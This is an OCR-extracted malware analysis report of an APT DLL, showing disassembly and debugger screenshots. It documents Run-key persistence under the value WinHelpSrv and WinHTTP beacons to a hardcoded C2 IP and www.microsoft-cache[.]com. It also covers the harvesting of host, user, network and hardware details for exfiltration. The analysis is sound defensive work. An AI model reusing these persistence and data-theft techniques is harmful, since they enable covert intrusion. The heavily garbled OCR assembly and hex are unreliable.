Ltext:6C073754A mov [ebptvar_1], bl
.text:6C073750 mov [ebp+Filename], bl
.text:6C073763 call _memset

Ltext:6CD73768 add esp, @Ch

.text:6CD7376B push B8FFh ; nsize
text:eCD73770 lea eax, [ebp+Filename]
.text:6CD73776 push eax ; lpFilename
Ltext:B6CD73777 push ebx ; htedule
Ltext:8CD73778 call ds:GetModuleFileNamed
.text:6CD7377E lea eax, [ebptFilename]
Ltext:6C073784 push offset aRundl122Exe ; "rundll32.exe”
Ltewt:6C073789 push eax ; char *
.text:6CD7378A call _strstr

text:6CD7378F pop eCx

Ltext:eCD73798 pop ecx

dext:e(D73I791 test e@ax, eax

.text:6CD73I792 j=z short loc_ 6CD7379C

1
¥ ¥

Ll s 5 EE

.text:6C073795 push ebx ; UExitCodef |.text:6CD7379C
.text:6CD73796 call ds:ExitProcess Ltext:6C07379C loc ACDV3VOC:
+avtkrRMN7ITOr laa aav &
Figure 23

The malware is made persistent by adding a new value called WinHelpSrv under the “Run”
registry key. In our case, this value points to the location of rundllI32.exe because the DLL
was run using this executable:

p— - T . AOIIM_D 3 \CmpLy; A W_s
| . BD 85 F8 FC FF FF lea eax,dword ptr ss:[[ebp-3z08]
| . 50 push eax |eax: ™ x875tatusword 0020
. 64 01 push 1 XB7SW_B 0 xB7SW.C3 0 x8
. 53 push ebx | x875W_C1 0 xB7SW_CO O x8
[— 68 4C 66 DB 6C push apt.&CDB664C 6CDBEE XBTSW_SF O XxB7SW_P 1 X8
i o &C FF 75 F& push dword ptr ss:febp-of |
F—— EOEEEE FF 15 24 40 D8 &C mﬂ d-ord ptr ds ;cmegsetvamesmﬂ | v
R ", Default (stdcal)
; "1: [esp] oooooz9s
dword ptr [6CDB84024 <apt.dRegSetvValueExA>]m<advapi32.RegSetvalueExAa> 2: esg}.n 6CDBG64C "WinHel|
3: [esp+&] 00000000
a: [esp+c] oooooOO1
. Text:6CD73807 apt.dll:$3807 #2C07 5: [esp+1D] DOSEF98C ™\"C:\’
it 98
@oump1  @Dump2 @oump3 @MDumps  @Dumps @ watch1  Ix-llocals | A 9 “winHelpsrv”
Address | Hex ASCIT I Al et
DOSEF98D |43 3A 5C 57|69 BE 64 6F |77 73 5C 53|79 73 57 4F |G: \Windows)Syswo P o
OOSEF99D |57 36 34 5C|72 75 6E 64|6C 6C 33 32|2E 65 78 65|We4\rundl132.exe ideams bl \TCENAWIndow=\\SysWOWE4\\rund1132. exe\
nncccaan ! 272 Aan an o andlan an e oanlan e e oandlnn o e onnd T

Figure 24
The confirmation that the persistence was successfully established:
B Registry Editor - m| x

File Edit View Favontes Help
Computer\HKEY CURRENT _USER\Software\Microsoft\Windows\CurrentVersion\Run

| > DeviceAccess A | Name Type Data
Dev!(eCapabnlllles ab] (Default) REG_SZ (value not set)
D.evuces . ] REG_SZ "CAWindows\SysWOWES rundli32.exe”
Niannnctice

Figure 25
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As written before, a new thread is created to execute the same function mentioned when the
malware has run with administrator privileges. CreateThread API call is displayed in the next
picture:

(U —

L] 56 push 2s1i
. 1 push esi
] 56 push esi
L] 68 B4 31 D7 &C push apt.&CD731E4
. 56 push esi
- 56 push esi
E 1P puu 4 FF 15 6C 40 D8 6C call dword ptr ds:[<&CreateThreads] W

dword ptr [6CDB406C <apt.&CreateThread=]=<kernel32.cCreateThread>

Jtext:6CD7394E apt.d11: $394E #2D4E

2% Dump 1 B4 Dump 2 B Dump 3 4 Dump 4 @4y Dump § @ watch 1 Ix=] Locals

Address | Hex ASCII

0Q0OSEF98D |43 3A 5C 57|69 GE 64 6F |77 73 5C 53|79 73 57 4F|@:'WwWindows'Syswo

OOSEF99D (57 36 34 5C|72 75 6E 64|6C 6C 33 32(2E 65 78 65|we4yrundll3z2.exe
g

Aanrrrasnl s Aan na Aanlan Aan An Anlan An o Aan Aanlan Aa Aa An

Figure 26

There is a call to GetMessage API to retrieve messages from the thread’s message queue. If
the message is 0x10 (WM_CLOSE), 0x11 (WM_QUERYENDSESSION) or 0x16
(WM_ENDSESSION) the current function terminates its execution:

QDO00000
&6CD721E4 | apt.e(D731E4
00000000

00000000
00000000
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il e =]

LLext:eCD73987

.text:eCD73987 loc_bCD73987:

.text:6CD73987 push esi

Ltext:6CD73988 push esi

Ltext:6C073989 push esi ; hwnd
.text:6CD7398A lea eax, [ebptMsg]
.text:6C07398D push eax ; lpMsg
.text:6CD7308E call edi ; GetMessageW
text:eCD73998 test egx, eax

-text:6CD73992 jnz short loc_6CD73961

; wMsgFilterMax

3 whMsgFilterMin

fJ,

lall s 5

Figure

Ltext:eCD73961
.text:6CD73961 loc_bCD73961:
Ltext:6C073961 cmp [ebpHisg.message], 1@h
.text:6CD73965 jz short loc 6CD73994
1
bl s =]
.text:6C073967 cmp [ebpHisg.message], 16h
.text:6CD7306B jz short loc_6CD739594
1
bl e =]
.text:6CD73960 cmp [ebpHisg.message], 1lh
Ltext:eCD73971 j=z short loc_&CD73994
|
: YYVY
) 55
160073973 lea eax, [ebptisg] .text,ECD?3994
:6C073976 push eax ; lpMsg) [.text:6C073994 loc ACD73994:
160073977 call ds:TranslateMessage Ltext:6CD73994 xor eax, eax
160073970 lea eax, [ebptMsg] Ltext:6CD73996 pop edi
:6CD73988 push eax ; lpMsg) | .text:eCD73997 inc eax
:6CD73981 call ds:DispatchMessagel .text:6CD73998 pop esi
T ot STV IOON T A
27

Thread activity — StartAddress address

During the entire execution, the internet is emulated using Fakenet. We’'ve observed multiple
MultiByteToWideChar function calls used to convert character strings to UTF-16 (wide
character) strings. One such call is shown below:

Figure 28

53 push ebx AS/IM_m 3 LEmpLys  Aosim
50 push eax_
€A FF push FFF x87statusword 0000
FF 75 08 push dnord p\:r ss:febp+al [ebp+&]:"http: XBTSW_B 0 XxB7SW.C3 0 X
B9 45 FC mov dword ptr ss:febp-4f,eax XB7SW_C1 0 XB7SW_CO 0 X
57 push edi XB7SW_SF 0 XB87SW_F 0 x
57 push edi el
FF D& call esi esi:MultiByteTo v - =
-t TR gy BT o ! % Defadl(sldca.ln
" - - - 1: [esp
esi=<kernel32.MultiByteTowideChar> (76325B40) 2: [esp+4] 00000000
3: {esm—s; 6CDBDO52 "http:,
4: [esp+c] FFFFFFFF
LTeXT:6CD74511 apt.di1:5$4511 #3911 5: [esp+10] D4G02EFS
% u " 1 . F s ey 00000000
@Woump1  @hoump2  Hoump3  Whoump4  BMDumps @ wathi  Ir-llocals @ stuct {00A£8670| 00000000 | )
Address | Hex ASCII. .~ |ODAEB674| 6CDBD052 | "hitp://106.185.43.96:80°
6CDBDOS2 |68 74 74 70|3A 2F 2F 31|30 36 2E 31[38 35 2E 34|http://106.185.4 omsz b:fah‘zlz's's
6CDBDOGZ 33 "E 39 36|3A 38 30 00|51 65 71 4F SB 2F 75 73 26: ED eqok,/ us
e [ R e S R e e R A R P ey DOAEB680 | 0000001
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The malware uses the WinHttpOpen function to initialize the use of WinHTTP functions. The
user agent is hardcoded in the DLL file:

53 | push ebx

g3 | push ebx xB7Statusword 0000

53 | push ebx xB7SW_B O xBTSW.C3I O x87TSW.C2 O

53 | push ebx xB7SW.C1 0 xB7SW.CO O xB7SW_ES O

80 86 12 04 00 0D =l:a eax,dword ptr ds:[esir+412] XBTSW_SF 0 xB7SW_P O x87SW.U O

50 | push eax a/5 |[oane - FE vt

FF 15 4 42 D8 6C Iu'l‘l _Bword prr dsi[<swinHTtpopens] e = e

== s "5 | Default (stdcal) |5 5[] unlock
T —— 22 . H In
[dword ptr [ECDB4264 <apt.&winHLTPOPEns>]=<winhTLp,winHTLROpEn> T T T 5.0 (Macintosh: Ui Tntel

[esp+4] oovDODOD
[esp+s] oooooo000
00000000

| 3
| 5: fespsio] 00000000

-Text: 6CD71F25 apt.d11:$1F25 #1325

Woump2  oumpd P
Hex

#% Dump 1

| O0AE aasa

Figure 29
There is a call to WinHttpSetTimeouts function in order to set time-outs involved in HTTP
transactions. nResolveTimeout, nConnectTimeout, nSendTimeout and nReceiveTimeout are

00i 00 00 00|

set to 0x1D4CO0 (120.000ms

120 seconds):

t---@| 6CD71F3F FF Be 04 11 00 00O push dword ptr ds:[esi+1104] !

®|| BCDT1F45 FF B6 00 11 00 00 push dword ptr ds:[esi+1100] ]

®| GCD71F4B FF B& FC 10 00 00 push dword ptr ds:[esi+10FC] )

®|| BCD71F51 FF B F8 10 00 00 push dword ptr ds:[esi+10F8] ]

@) 6CD7AFST S50 push eax &

FF 15 2C 42 D8 6C call dword ptr ds:[<&winHttpSetTimeouts>] v =

el —mm—rmn T B Y S B e ) D

£ > ]

dword ptr [6CDS8422C <apt.&wWinHTtTpSetTimeouts>]=aowinhttp.winHTCtpSetTimeouts> 2
3

4

.Text:8CD71FSS apt.dl11:$1F58 #1358 5

@4 Dump 1 4% Dump 2 B4 Dump 3

P4 pump 4

4 Dump 5

O watch 1

[x=] Locals 2’ Struct

[address [ Hex

| ascTI

~

ODAEBE54 (€O D4 01 00(CO D4 01 00(CO D4 01 00|CO D4 01 00|AG..AD. .AD..AD..

AAAEDLEA | DA BE AE nn

Figure 30

AR AR AR R

e AC RT EF

on be AE Anl cwma

£ wlema |

DDBEZ408
OOAEBG54 | 0001D4C0
ODAEBE5E | 0001D4C0
O0AEBG5C | 0001D4C0D
DOAEBGE0 | 0001D4CO

The initial target server of an HTTP request is set to 106.185.43.96 on port 0x50 (80). The
WinHttpConnect API call is displayed in figure 31.

push ebx ~ x875tatusword 0000

push eax eax:L"106.185,4 XB7SW_B 0O xB875W_

lea eax,dword ptr ds:[esi+C] eax:L"106.185.4 XB7SW_C1 0 XB7SW_

push eax eax:L"106.185.4 X87SW_SF 0 X87TSW_

push dword ptr ds:[esi] R e e S

u‘!‘l _dword ptr d=i E(W‘inHttpconnel:t)} v | ———

Ty Defadt(sutaﬂ}

= [1: [es| DOBE2408

dword ptr [6CD84238 <apt.&WinHtrTpConnect>]=<winhttp.winHttpConnect> 2: esgll] DOiEBGBd

3: esuesg 00000051

4: [es 0000000

.Text:6CD7IFED apt.d11:$1F6D #136D 5: esg-:io} O0AEBE!
¥S0umpl @ Wy . & watch |x=] Locals 9 O0BEZ408

4 mp YDump2 B4 Dump 3 Dump4 @NDump5 & Watch 1 =l Lo 4 Struct OOAEB658 | DOAEBEBC | L"106.185.43.96"
Address | Hex | Asc11 | P | DREERESL [ EHI0CHS0
mlm ARl Or DL AC NAlCA AN AN ARTAN AN AN Aol CERRen O I | 00000000

Figure 31

The process performs a GET request to the server mentioned above, with the target
resource being /user/atv.html. The pwszReferrer parameter is set to “http://www.google.com”
and dwFlags is set to 0x100 (WINHTTP_FLAG_BYPASS_PROXY_CACHE):

Figure 32

50 push eax eax:L"GET"
53 push ebx x875tatusword 0000
FF 75 08 push dword ptr ss (e., +8[) X87SW_B O XB7SW.C3 0
8D 45 FO lea eax,dword ptr s ?e.---;) XB87SW_C1 0 XB7SW.CO 0O X
s0 push ea\ eax:L"GET" XBTSW_SF 0 XBTSW_P o
FF 76 04 push dword ptr ds:[esi+4] [ e e e
FF 15 4C 42 D8 &0 Eu Mrd !rtr :Is m:gﬂttDODerRequesv] | w
- - m Defauit (stdcall)
L 1: [esp] OOBEAS00
dword ptr [6CDB424C <apt.&WinHTTpOperRequest>]=<winhttp.WinHttpOperRequest> 2: [esp+4] OOAEBE7C L"GET"
3: [esp+8] D4602F38
4: [esp+C] 00000000
-Text:6CD72003 apt.dll:$2003 #1403 5: Eesg.'.l%] DOAEBEC2 L"htt
’ 3 DOBEASDD
Woump1  @lpump2  @Hoump3  @oumps  PWoumps @ watchi  [xelLocals & Struct DOAEBGE5 8 ODAEBETC | L"GET"
[AscI1 . | poaEsesc oseoz2F3s
EMUAER S5 b ZC B6 AE 00[38 2F €0 04700 00 0O 0O|L¥Mi[§=.8/ ..... ODAEBE64  DDAEBECZ | L"http://wew. google. com™
O0AEBGE4 Q|00 00 00 00|DO 01 00 oo a\ ......... .. ODAEBEGS | DOOODO00
SUAERG7 4] S0 00 00" 00( 00 90 00 99|47 00 45 o0|$400 99 00 R 00AE866C 00000100

After the WinHttpOpenRequest call there is a WinHttpSendRequest function call. The HTTP
request is intercepted by Fakenet, and it replies with a fake response:
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Figure 33
Now the process is awaiting a response to the HTTP request by calling the
WinHttpReceiveResponse function:

FF 76 08 push dword ptr ds:[esi+5]
FF 15 30 42 D8 &L call dword ptr ds:[<é&winHttpReceiveResponse=]

53 push ebx ‘

dword ptr

[6CDB4230 <apt.&WinHLTpReceiveResponse>]=<winhttp.WinHITpReceiveRasponses

el T~

.Text:6CD720AC apt.d11:320AC #14AC

E=|

4% Dump 1 B4y Dump 2 & watch 1 Ix=| Locals 4 struct

DOBEAGAD
O0AEBG&6C | 00000000
Figure 34

Afterward, the malicious file retrieves header information using WinHttpQueryHeaders API
with 0x16 (WINHTTP_QUERY_RAW_HEADERS_ CRLF) parameter — receives all the
headers returned by the HTTP server:

4% Dump 3 &%l Dump 4 4% Dump 5

Figure 35

There is a second WinHttpQueryHeaders API call with 0x20000013
(WINHTTP_QUERY_FLAG_NUMBER|WINHTTP_QUERY_STATUS_CODE) parameter —
the status code returned by the HTTP server. It expects a status code of 200 (OK):

|

11 00

13 00 00 20

45 FC
15 40

04 00

als}

00 00

42 D8 &C

push edx

lea eax,dword ptr ds:[ecx+110C]
1ea esi,dword ptr ss:|febp-4]
push esi

push esax

push edx

push 20000013

push dword ptr ds:[ecx+5]

mov dword ptr ds:[eax],edx

mov dword ptr ss:lfebp-30, 4
€d11 dword ptr ds:[<&winHttpQueryHeaders>]

. - —— e ——— ey
| ® 53 push ebx X
! . 8D 45 FC lea eax,dword ptr ss:[febp-4]
! L] 50 push eax X
! . FF 75 F8 push dword ptr ss:[febp-3j X
! ] 53 push ebx X
I ] 6A 16 push 16 i
| . FF 76 08 push dword ptr ds:[esi+8] |
Eg—s FF D7 call edi edi:winHttpquer v —
| - rremr g De
' > I
edi=<winhttp.winHttpQueryHeaders> (70CB3330) 2
3:
4:
.Text:6CD71ACS apt.dll: $1ACE #ECS 5=
o) g OOBEABAD
e Dump 1 8% Dump 2 B4 Dump 3 B8 Dump4 B4 Dump 5 52 Watch 1 l=] Locals ' Struct D0AERGA4 | 0O00DDOLE
Address | Hex ASCII gg:g:g:g gggggggg
04600850 (00 00 00 00|00 00 OO0 00|00 OO0 OO0 Q0|00 OO OO0 00| M. eiavannnnnnnns DOAERGS0 | DOAEBGE4
04600860 (00 00 00 00|00 OO0 OO0 OO(00 OO0 OO0 OO|00 00 OO0 00| «.ereneuennannas
nacnna7nl nn e e And oo oan e ol e oo Ao ool o e e e ODAEE654 | 00000000

ER

dword ptr

.text:6CD71A51 apt.dll:$1A51 #E51

[6CDB4240 <apt.&wWinHttpQueryHeaders>]=<winhttp.winHttpQueryHeaders>

Figure 36

i ) )
&% Dump 1 @2l Dump 2 a2s Dump 3 @2l Dump 4 a'e Dump 5 % Watch 1 [x=] Locals .;" Struct
Address | Hex ASCII
04600A50 54 00 50 0O0(2F 00 31 OO(2E OO 30 OO|H.T.T.P./.1...0.
04600A60 (20 00 32 00|30 00 30 00|20 00 4F O0(4E 00 OD 00| .2.0.0. .0.K...
Ascnnarnlna an aa anlea Aan 74 anlec an 24 anlosn an ca anl RTa R AT -

DOBEAGAD
20000013

ODAECT7EBC
D0AEBG64
00000000

SEOEWE v p w2« w x x

The process uses the WinHttpQueryDataAvailable function to see how many bytes are
available to be read with WinHttpReadData:
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! e| scD71B7D 50 push eax ; e X

{ #| 6CD71BTE FF 76 08 push dword ptr ds:[esi+3] ]
Eg—e FF 15 44 47 D8 &C €a11 dword ptr ds: [<&winHttpQueryDataavailables] =
dword ptr [6CDB4244 <apt.a&winHttpQueryDataAvailable>]=<winhttp.winHttpQueryDataAvailable> 2
3:

4

.Text:6CD71B81 apt.d1l1:$1B81 #FS81 5:
2 DOBEAGAD

Woumpti  @oumpz  @Uoumps  oump4  @loumps @ watch1  beellocak & Struct %4

Figure 37
Next, there is a call to the WinHttpReadData function that is used to read data returned by
the server:

| push eax E XB7SW_B 0 xB7TSW._C3

| push dword ptr ss:febp-4] X87SW_C1 0 X87SW_CO

| push edi XBTSW_SF 0 XBTSW_P

| push dword ptr ‘IS:E‘ES" +8] ]
dword ptr di:[<awinkttpReadDatas] v —

D — 5 Default (stdcall)
< 1: [esp] DOBEAGAD

2: {espﬂg 04605768

3: [esp+8] 000005A6
.Text:6CD71BD8 apt.d11:$1808 #FDS ; i:;gﬁ%;"?‘;ggfggg <b

@Woump1  @pump2  WSpump3  @lpump4  WDumps @ watch1  Ieellocals Y Struct
Address | Hex | asc1z |
m’ﬁm 00 00|00 00 00 0[O0 00 00 00|00 00 00 OO M. sv.. |
04605778| 00 00 00 00|00 OO0 OO0 OO|00 OO OO0 OO|00 OO OO 0O0|.

Figure 38

The malicious process uses the WSAStartup function with 0x202 parameter
(wVersionRequired) in order to use the Winsock DLL. The current directory for the process is
changed to the location of the current executable (rundll32.exe):

4C [ 76324F10

AnnnAnnn

kernel32.GetLasteError

eax:L"C:\\windo

L
3 Default (stdcall)
o= e — 1: ] DOAEB454 L"C:\\Win
dword ptr [GCDB40DE <apt.&SetCurrentDirectoryWs]=<kernel32.SetCurrentDirectoryws 2: Ees:+4 OOAECTDO
3:

| push eax
| €a13 dword ptr ids:[<aSetCurrentDirectoryw>]

esp+8] OODAECTDO
[esp+C] 00000000
.TexXt:6CD7246F apt.d1):$246F #186F [esp+10] 003A0043

W e 1 Wy My Bl A —a | A — e B8 ey [ P D cs [EEESEEE] 00AEB454 | LC: \\Windows |\ SySWOWe4
Figure 39

GetAdaptersinfo APl is utilized to find adapter information for the local machine. The function
call is presented in the next figure.

| o | scD73cAB 50 push eax ] SR 5 3

! ® | 5CD7 3CAC 53 push ebx 3
g FF 95 &8 FD FF FF call dword ptr ss:[ebp-298] [ebp-298] :GetAd v =
; e e — e T v 'rP_'

1

dword ptr [ebp-293]=[00AEB3A4 =&GetAdaptersInfo=]=<iphlpapi.GetadaptersInfox> z
3

4

.text:6CD73CAD apt.dll:$3CAD #30AD =
i 0OCOB5F8

Woump1  @Ypumpz  Bloump3  WWDump4  @loumps @ watchi  belLocals 2 Struct DOAEE398 | DOAEBZAS
S e ~ | 65a€s 340 | 00000000
OOCOB5F8 |50 A2 €0 00 7B 36 32 32|44 32 38 39| P4A...A.1622D2589 DOAEB3A4 | 7306CIED
00CO8608| 45 2D 45 32|31 44 20 34|33 38 38 2D|38 37 42 30| E-E21D-4388-87B0 OD:EB“:S 00000280
00CO8618| 2D 39 30 30|42 35 45 34|44 32 35 34|37 7D 00 00| -900B5E4D2547}.. == e

Figure 40
The malware opens the “Software\Microsoft\Windows\CurrentVersion\Internet Settings”
registry key by calling the RegCreateKeyEXA function:

ga m push ebx XSS IW_U 3 (EMPTY) KBS IW_1 5 [EMPTY)
a = ” XB7TW_2 3 (Empty) xB87TW_3 3 (EmpTy)

Db ;ﬁ:"e:;;ﬂ"m" prr ss;licop-48 X8TTW_4 3 (Empty) XB7TWS 3 (Empty)

53 push ebx xB7TW_6 3 (Empty) xB7TW_7 3 (Empty)

64 01 push 1

53 push ebx x&7Statusword 0000

53 b xB7SW_B 0 xB7SW.C3 0 NB7SW.CZ O

53 ebx XBTSW_C1 0 x87SW.CO O XB7SWES O

&8 80 96 DS &C apt. BCOASE50 6C089680: “SoTTw xBTSW_SF 0 XB7SW_P 0 XB7SW U O

68 01 00 00 8O B4 IIi 01 —_— ) ‘ P P v -

FF 15 3C . dword ptr ds:[<ifeglreatexeyExAs v —

= ~ il )~ lovh s *T; B0 v

- YT = —p— — — 1t [es
dword ptr [GCDB403C <apt.iRegCreatekeyExAs]=<advapiil.ReglreatekeyExas g;g-u! 6C0B9650 "software’ \Microsoft \windows' \(
esp+8] 00000000
!sp—n:j 00000000
T:6CO73I001 apt.dll:$3001 #3101 5: [esp+10] 00000000

Woup1  @Soump2  WMDump3  @Moumps  SHoumps B wawhi  ellocds ) st

Address | Hex | ascIT |

04603768 [ 00 O 0 3000 00 s

04603778( 00 00 O 30 (00 00

04603788 00 0O O 00
0 O o0

o0 00 00

"Softwar ¢\ \Microsoft)\Windows\\Currentversion\\Internet Settings"
3

DO
D0 00 00

|00
o0

04603748| 00

Figure 41
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Now the user agent is extracted from the local host by calling the RegQueryValueExA
function, as follows:

. s} push eax
. 57 push edi
. 8D 45 FC lea eax,dword ptr ss:[febp-4]
. 50 push eax
. 53 push ebx
. 68 AL 98 D8 &C push apt.&CDS98AS GCDS98AS : "User
L] FF 75 F8 push dword ptr ss:[lebp-si
L] 89 5D FC mov dword ptr ss:[ebp-4J,ebx
®| cCD73EQS 89 75 F4 mov dword ptr ss:febp-Ccll,esi
EIP g e 11 FF 15 1C 40 DB 6C call dword ptr d=:[=&RegQueryvalueExax>] (Y]
* >
dword ptr [6CDS401C <aptl.&ReglueryvalueExA>]=<advapi3z2.RegdueryvalueExa>
.text:6CD73E08 apt.dll:$2E08 #3208
£ 00000370
&8el Dump 1 B4 Dump 2 2% Dump 3 PYDump4 @Y Dump 5 @ watch1 Il Locals & struct ODAEBG0D | 6CD898AS | "User Agent™

OOAEBGO4 | 00000000
ODAEBGOS | DDAEBG2S
OODAEBEOC | 04603768
OOAEBELO | DDAEBE2D

Address | Hex ASCIT ~
04603768 |00 00 00 00[00 00 00 00|00 00 OO0 OO0[00 00 00 OO[R....cvevruann.
04603778 (00 00 OO0 00|00 OO0 OO OO|00 OO0 0D OO(OD OO0 OO OD|....ucueeeiumnnnn

marnmmanl mm omm oman o mndlan o mn omm mnlan A mn Aelas o An ms mn

Figure 42
The GetNetworkParams function is utilized to obtain network parameters for the local
machine. This information will be exfiltrated as we’ll see later on:

0 | eCD74DBL 50 push eax

1t ®( 6CD74DB2 57 push edi

et L] FF D6 call esi €57 :GeTNetworkP v
| >

esi=<iphlpapi.GetNetworkParams> (7307C980)

.Text:6CD74DB3 apt.d11:34DE3 #41B2

; 04600C48
Woump1 | @lpump2z  @Wpump3  @WDump4  @loumps @ watchi  Ix-llecals & Struct DOAEBG38
Address | Hex | ASCII | En:*-:E 30 ggﬁsz?gg
04600C48 |20 3B G0 04]30 D3 &0 04|5C 4D 63 63|72 GF 73 6F|@; ... .\Microso| ety e A st

Figure 43
GetComputerNameW and GetUserNameW APIls are used to retrieve the NetBIOS name of
the local computer and the name of the user associated with the thread, respectively:

e ®| ecD72A85 50 push eax
et ®| 6CD72A86 8B 83 2C 33 00 00 mov eax,dword ptr ds:[ebx+332C] [ebx+332C]:L"ht
Hei ® | 6CD72A8C 05 10 04 00 00 add eax,410
g ®| 6CD72A91 BE 30 00 00 00 mov esi,s0
et ®| 6CD72A96 50 push eax
[ 1 ®| 6CD72A97 89 75 F8 mov dword ptr ss:[febp-sf,esi
FF—T———e FF 15 D4 40 D8 &C €211 dword ptr ds:[<&GetComputer Namew:>]
A ® | 6CD72AAD 8D 45 F8 lea eax,dword ptr ss:|[Jebp-3§
Rt ® (| 6CD72AA3 50 push eax
e b ®| 6CD72AA4 8B 83 2C 33 00 00 mov eax,dword ptr ds:[ebx+332C] [ebx+332C]:L"ht
il ® | 6CD724AA 05 10 05 00 00 add eax,510
b | ® (| 6CD72AAF 50 push eax
i 0 ® (| 6CD7ZABD 89 75 F8 mov_dword ptr ss:|[ebp-3,esi
BHt L] FF 15 2C 40 D8 &6C €all dword ptr ds:[<&GetUserNamen:]
(! il | ez, e T = - o T = R e R T T
L < >
dword ptr [6CDB40D4 <apt.&GetComputerNamew>]=<kernel3Z.GetComputerNameh:>
.text:ECDT2A9A apt.dll:$249A #1E9A
z 04603370
4 Dump 1 a2y Dump 2 gt Dump 3 222 Dump 4 @% Dump 5 @ Watch 1 [x=] Locals ff’ Struct ODAEB440 | DDAEBG34
address | ien [ascaz | SonEsass lmnceacs
04603370 00) 00 00 00|00 00 00 00|00 00 00 00|00 00 00 DO, ... eeeernnns | Bhniniae | BhAEESh

Figure 44
gethostname and gethostbyname functions are used to get the standard host name for the
local machine and host information corresponding to the local host, respectively:
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GA 64 push &4

L]
. 8D 45 98 lea eax,dword ptr ss:[ebp-szj
L] S0 push eax
[ 33 FF xor edi,edi
[EIP g 1 3 FF 15 80 42 D8 &C €8l dword ptr ds:[<&gethostname=]
® 8D 45 98 1ea eax,dword ptr ss:|[ebp-ssj
. S0 push eax
. FF 15 &C 42 D8 6C call dword ptr ds: [<&gethostbynames]
® e

dword ptr [6CD8426C <apt.&gethostbyname>]=<ws2_3Z.gethostbyname>

.text:6CD74E06 apt.dll: $4E06 #4206

Wpumpi  @Wpump2 @WDump3  @WDump4  @Woumps @ watchi  IxlLocals # struct

Address | Hex | AsCII |
ODOAEB3D4 [@@) 00 00 0040 OF 00 DOl0D 0O 00 OO[04 17 A8 69[h...G......... il
Figure 45

The process verifies the operating system version by calling GetVersionExA function and
then it checks if the process is running on a 64-bit machine by calling GetCurrentProcess
and IsWow64Process APls (this information is stored in the buffer along with the hostname
and username). The malware retrieves the default locale for the OS by calling
GetLocalelnfoA function with the following parameters: 0x800
(LOCALE_SYSTEM_DEFAULT), Oxb (LOCALE_IDEFAULTCODEPAGE). The result is
OEMCP 437 for English ( United States ) that is converted to hex and copied in the buffer
that will be exfiltrated:

68 FF 00 00 00 push FF’ XB7STa
8D 85 18 FE FF FF lea eax,dword ptr ss:[lebp-1e£5] XB7SW_
50 push eax eax: "o\n" XB7SW_
6A OB push B XBTSW_
68 00 08 00 00 push 800
FF 15 88 40 D8 6&6C call dword ptr ds:[<&GetLocaleInfoA=] L
S ——_———————— Default (=
2 1: [es|
dword ptr [6CD84088 <apt.&GetLocaleInfoAx>]=<kernel3z.GetLocaleInfoA> 21 [es|
3: [es)
4: [es|
.text:6CD72RB99 apt.dl11:$2B99 #1F99 5: [es|
B4 Dump 1 B4 Dump 2 B4 Dump 3 @Y% Dump 4 B4 Dump 5 @ Watch 1 |x=] Locals ;}J Struct
ohn"

‘%1 08700 20 0010000 02 00[00 00 00 00[00 00 00 0O Err - oo oo |
Figure 46

There is a call to the GlobalMemoryStatusEx function in order to retrieve information about
the physical and virtual memory. The amount of physical memory and the amount of physical
memory currently available are saved as 32-bits values to the buffer which will be exfiltrated.
Also, the processor name is retrieved using a few cpuid instructions (“AMD Ryzen 5 3550H
with Radeon Vega Mobile Gfx”) and then copied to the same buffer. The malicious process
extracts the width and the height of the screen of the primary monitor (in pixels) via 2
GetSystemMetrics calls, as follows (these are copied to the same buffer as before):

e o e e e . e
&4 00 push 0O |:
FF D& call esi esi i GersystemMetr v
> !
esi=<user3z.GetSystemMetrics> (76B2B000)
.text:&CD72C20 apt.dl1:%$2C20 #2020
Wl | el T e O I R W e S N W EEEEEETY 00000000 |
- 57 push edi
L] 89 81 F8 07 00 00 mov dward ptr ds:[ecx+7F58],eax
E— FF D& call esi esi:GetSystenMetr w
& T e e e AT S S PRI e o e —
> |
esi=<user32.GetSystemMetrics> (76B2B000)
.text:6CD72C32 apt.dl1:$2c32 #2032
[ = [ P | P o | P | e e ) W i IEEEEERFT] 00000001

Figure 47
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Again 12 random chars are generated via the same algorithm as presented before, and then
the following URI is constructed (data=12 random chars): “/money/ofcom-fines-nuisance-
calls?0023528461146965&data=qgvuclxxigip”. The function WinHttpOpen is called using the
user agent extracted earlier from registry, “Mozilla/4.0 (compatible; MSIE 8.0; Win32)”:

53 push ebx
53 push ebx xB7Statusword 0000

53 push ebx XB7SW_B O xB7SW.C3 0 XB7SW.CZ 0

53 push eb: X87SW_C1 O XB7SW.CO 0O XB7SW_ES 0

8D 86 12 04 00 00 Tea eax dword ptr ds:[esi+412] |eax: LMoz i 11a/4. 0 XBTSW_SF O xBTSW_P 0 XB7SW_U 0O

50 push eax eax: LMoz 117a/4.0  |eanm ST

FF 15 §4 42 D§ 6C ||:ﬂl dword per ds:[<awinHttpopens] | g w |

S— R fault (stdcall) vl

€sp] BZ L
espr4] 00000000
esp+E] 00000000
esp+C] 0D0D0DO0DO
espril] 00000000

Gword pr [6COB4264 <apt.dWinHTTpOpEns1=<wi NHETR, WINHTTROPENS

~Text:eCOTIF25 apt.dil:$1F25 #1325

o1 GHoup2  WHDumo3  Wouros  BEoumps B wathi  I-llocss ) stuct

Address | Hex L _|asc1z 1 A
OOAEB7FO I@F 6D 6F GE |65 79 2F &F |66 63 &F 6D |2D 66 €9 6E Tr.lney /of com=T1n
OOAEBBOO| 65 73 2D 6E |75 69 73 61|6E 63 65 2D |63 61 6C &C  es-nuisance-call

00000000 |
80| 6CD7AFCE |return to apt.6COTIFCE from apt. 6CD71FOR

ODAEBB10| 73 3F 30 30)32 33 35 32|38 34 36 30|39 32 36 35| s700235284609265
ODAEBS20| 35 39 26 64|61 74 61 30|71 &7 JE J5 |63 6C 78 78 Sakdata=qggvuc]xx
ODAEBB30! 6C &7 69 70I00 00 00 00/00 00 00 00/00 00 00 0Ollaio.....cuaauas

Figure 48

As before, the file calls the WinHttpSetTimeouts function using the parameters set as 120
seconds, and then it tries to connect to the C2 server (www.microsoft-cache[.Jcom) on port
443:

§3 - == = - - - Ip‘(,lé?’!”&s;“r“-. xB7Statusword 000D

-

. 50 guih eax eax:L"™ 1crosc NBTSW B O XxBFSW.C3 0 x8
. 8D 46 OC ea eax,dword ptr ds:[esi+c] eax:L" fcrosc | xB7SW_C1 0 X875W_CO0 0O x8
. 50 push eax eax:L"www.microsc | x87SW_SF 0 Xx8TSW_F O x8
. FF 36 pusn dword ptr ds:[esi] B o Ry
. FF 15 3B 42 DB &C | a1l dword prr ds minHtr_pcomecb] 1

. e J

L N
PTr [6CD84238 <apt.&WinHTTPCONNECT>]= .WinHTtpConnect>

.Text: 6(D71FED apt.d11:$1F6D #136D

